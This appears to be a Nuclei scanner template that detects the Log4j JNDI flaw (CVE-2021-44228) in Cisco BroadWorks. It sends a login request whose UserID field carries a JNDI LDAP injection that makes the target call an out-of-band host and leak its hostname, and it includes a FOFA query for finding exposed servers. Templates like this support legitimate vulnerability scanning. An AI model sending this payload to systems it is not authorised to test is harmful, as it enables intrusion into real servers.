cisco-broadworks-log4j-rce: Cisco BroadWorks - Remote Code Execution (Apache Log4j)

id: cisco-broadworks-log4j-rce

info:
  name: Cisco BroadWorks - Remote Code Execution (Apache Log4j)
  author: shaikhyaser
  severity: critical
  description: |
    Cisco BroadWorks is susceptible to Log4j JNDI remote code execution. Cisco BroadWorks is an enterprise-grade calling and collaboration platform delivering unmatched performance, security and scale.
  reference:
    - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
  metadata:
    max-request: 1
    fofa-query: "Cisco BroadWorks"
  tags: cve,cve2021,rce,jndi,log4j,cisco,oast,kev,vuln
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'
  str: "{{rand_base(5)}}"

http:
  - raw:
      - |
        POST /commpilot/servlet/Login HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Referer: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded

        domain={{str}}.com&UserID=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}&EnteredUserID=a&Password=a

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output

    extractors:
      - type: kval
        kval:
          - interactsh_ip # Print remote interaction IP in output

      - type: regex
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
        part: interactsh_request

      - type: regex
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
        part: interactsh_request
# digest: 490a0046304402207f0177d850271139936f1b86da298c198b0f0c17adb12e38386106cbe26640f3022038d24fce9ac21965b96c1b2bbda25af70aeddd8d9d1f4e8d1585e9e4a5b5b447:922c64590222798bb761d5b6d8e72950